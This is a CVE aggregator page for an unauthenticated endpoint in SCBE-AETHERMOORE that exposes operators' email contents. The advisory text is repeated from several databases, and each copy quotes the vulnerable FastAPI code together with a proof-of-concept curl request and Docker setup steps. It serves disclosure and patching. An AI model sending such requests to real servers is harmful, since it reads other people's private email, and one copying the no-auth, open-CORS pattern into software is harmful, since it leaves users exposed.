CVE-2026-57443
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used 7.5
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.
- Record
CVE-2026-57443- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-87356 7.5
SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.
- Record
EUVD-2026-87356- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q986-4x7x-gx39 7.5
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
Summary
The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.
Details
scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):
@app.post("/api/ops/check-email")
async def ops_check_email():
script = ROOT / "scripts" / "apollo" / "email_reader.py"
result = await asyncio.to_thread(
_run_subprocess,
[sys.executable, str(script)],
timeout=30,
)
return {
"output": result.get("stdout", "")[:2000],
...
}
No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.
The server is bound to all interfaces (line 4065/4070):
uvicorn.run(app, host="0.0.0.0", port=port) # default port 8100
CORS middleware is configured to allow any origin (lines 486–492):
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
...
)
When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):
# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.
With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.
Complete data-flow path:
api_server.py:4065+4070— server starts on0.0.0.0:8100api_server.py:486–492— CORSallow_origins=["*"]permits cross-origin requestsapi_server.py:3008—POST /api/ops/check-emailregistered without authapi_server.py:3011–3023—_run_subprocess([sys.executable, str(script)])invoked; stdout capturedemail_reader.py:29–34— connector env file loaded, credentials extractedemail_reader.py:378–394— IMAP login usingPROTONMAIL_BRIDGE_PASSWORD/GMAIL_APP_PASSWORDemail_reader.py:273–299— RFC822 messages fetched; sender, subject, snippet printed to stdoutapi_server.py:3023—stdout[:2000]returned in JSON response to caller
Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.
PoC
Prerequisites:
- Docker installed on the attacker or test machine.
- Repository source available under
repo/within the build context.
Step 1 — Build the Docker image:
docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .
The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.
Step 2 — Start the container:
docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser
Step 3 — Run the PoC script:
python3 vuln-001/poc.py --host 127.0.0.1 --port 8100
Or send the request manually with no authentication headers:
curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
-H 'Content-Type: application/json' \
-d '{}'
Expected result (no credentials configured):
{
"output": "APOLLO EMAIL…
- Record
GHSA-q986-4x7x-gx39- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
NVD 7.5
SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.
- Record
CVE-2026-57443- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSV 7.5
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.
- Record
CVE-2026-57443- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVGHSA-q986-4x7x-gx39 7.5
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
Summary
The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.
Details
scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):
@app.post("/api/ops/check-email")
async def ops_check_email():
script = ROOT / "scripts" / "apollo" / "email_reader.py"
result = await asyncio.to_thread(
_run_subprocess,
[sys.executable, str(script)],
timeout=30,
)
return {
"output": result.get("stdout", "")[:2000],
...
}
No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.
The server is bound to all interfaces (line 4065/4070):
uvicorn.run(app, host="0.0.0.0", port=port) # default port 8100
CORS middleware is configured to allow any origin (lines 486–492):
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
...
)
When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):
# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.
With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.
Complete data-flow path:
api_server.py:4065+4070— server starts on0.0.0.0:8100api_server.py:486–492— CORSallow_origins=["*"]permits cross-origin requestsapi_server.py:3008—POST /api/ops/check-emailregistered without authapi_server.py:3011–3023—_run_subprocess([sys.executable, str(script)])invoked; stdout capturedemail_reader.py:29–34— connector env file loaded, credentials extractedemail_reader.py:378–394— IMAP login usingPROTONMAIL_BRIDGE_PASSWORD/GMAIL_APP_PASSWORDemail_reader.py:273–299— RFC822 messages fetched; sender, subject, snippet printed to stdoutapi_server.py:3023—stdout[:2000]returned in JSON response to caller
Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.
PoC
Prerequisites:
- Docker installed on the attacker or test machine.
- Repository source available under
repo/within the build context.
Step 1 — Build the Docker image:
docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .
The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.
Step 2 — Start the container:
docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser
Step 3 — Run the PoC script:
python3 vuln-001/poc.py --host 127.0.0.1 --port 8100
Or send the request manually with no authentication headers:
curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
-H 'Content-Type: application/json' \
-d '{}'
Expected result (no credentials configured):
{
"output": "APOLLO EMAIL…
- Record
GHSA-q986-4x7x-gx39- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVPYSEC-2026-4163 7.5
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
Summary
The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.
Details
scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):
@app.post("/api/ops/check-email")
async def ops_check_email():
script = ROOT / "scripts" / "apollo" / "email_reader.py"
result = await asyncio.to_thread(
_run_subprocess,
[sys.executable, str(script)],
timeout=30,
)
return {
"output": result.get("stdout", "")[:2000],
...
}
No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.
The server is bound to all interfaces (line 4065/4070):
uvicorn.run(app, host="0.0.0.0", port=port) # default port 8100
CORS middleware is configured to allow any origin (lines 486–492):
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
...
)
When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):
# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.
With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.
Complete data-flow path:
api_server.py:4065+4070— server starts on0.0.0.0:8100api_server.py:486–492— CORSallow_origins=["*"]permits cross-origin requestsapi_server.py:3008—POST /api/ops/check-emailregistered without authapi_server.py:3011–3023—_run_subprocess([sys.executable, str(script)])invoked; stdout capturedemail_reader.py:29–34— connector env file loaded, credentials extractedemail_reader.py:378–394— IMAP login usingPROTONMAIL_BRIDGE_PASSWORD/GMAIL_APP_PASSWORDemail_reader.py:273–299— RFC822 messages fetched; sender, subject, snippet printed to stdoutapi_server.py:3023—stdout[:2000]returned in JSON response to caller
Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.
PoC
Prerequisites:
- Docker installed on the attacker or test machine.
- Repository source available under
repo/within the build context.
Step 1 — Build the Docker image:
docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .
The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.
Step 2 — Start the container:
docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser
Step 3 — Run the PoC script:
python3 vuln-001/poc.py --host 127.0.0.1 --port 8100
Or send the request manually with no authentication headers:
curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
-H 'Content-Type: application/json' \
-d '{}'
Expected result (no credentials configured):
{
"output": "APOLLO EMAIL…
- Record
PYSEC-2026-4163- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
scbe-aethermoorePyPI | 4.0.2 up to 4.2.1 | 4.2.1 |
scbe-aethermoorePyPI | 4.0.2 up to 4.2.1, plus listed versions 4.1.34.2.0 | 4.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-57443 is a high vulnerability (CVSS 7.5) in Issdandavis Scbe-aethermoore, published September 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 55th percentile. Fixed in scbe-aethermoore 4.2.1.
References
github.com/issdandavis/SCBE-AETHERMOORE/security/advisories/GHSA-q986-4x7x-gx39
github.com/issdandavis/SCBE-AETHERMOORE/commit/ca833795e01eab060e92572e5f667c0c136b8c1e
github.com/issdandavis/SCBE-AETHERMOORE/commit/de7779b722c501dbcf4eae95dd51bb3984506fb1
nvd.nist.gov/vuln/detail/CVE-2026-57443
github.com/issdandavis/SCBE-AETHERMOORE/pull/2287
github.com/issdandavis/SCBE-AETHERMOORE/releases/tag/v4.2.1
Left out here: the rest of 3 source descriptions. The JSON record has them.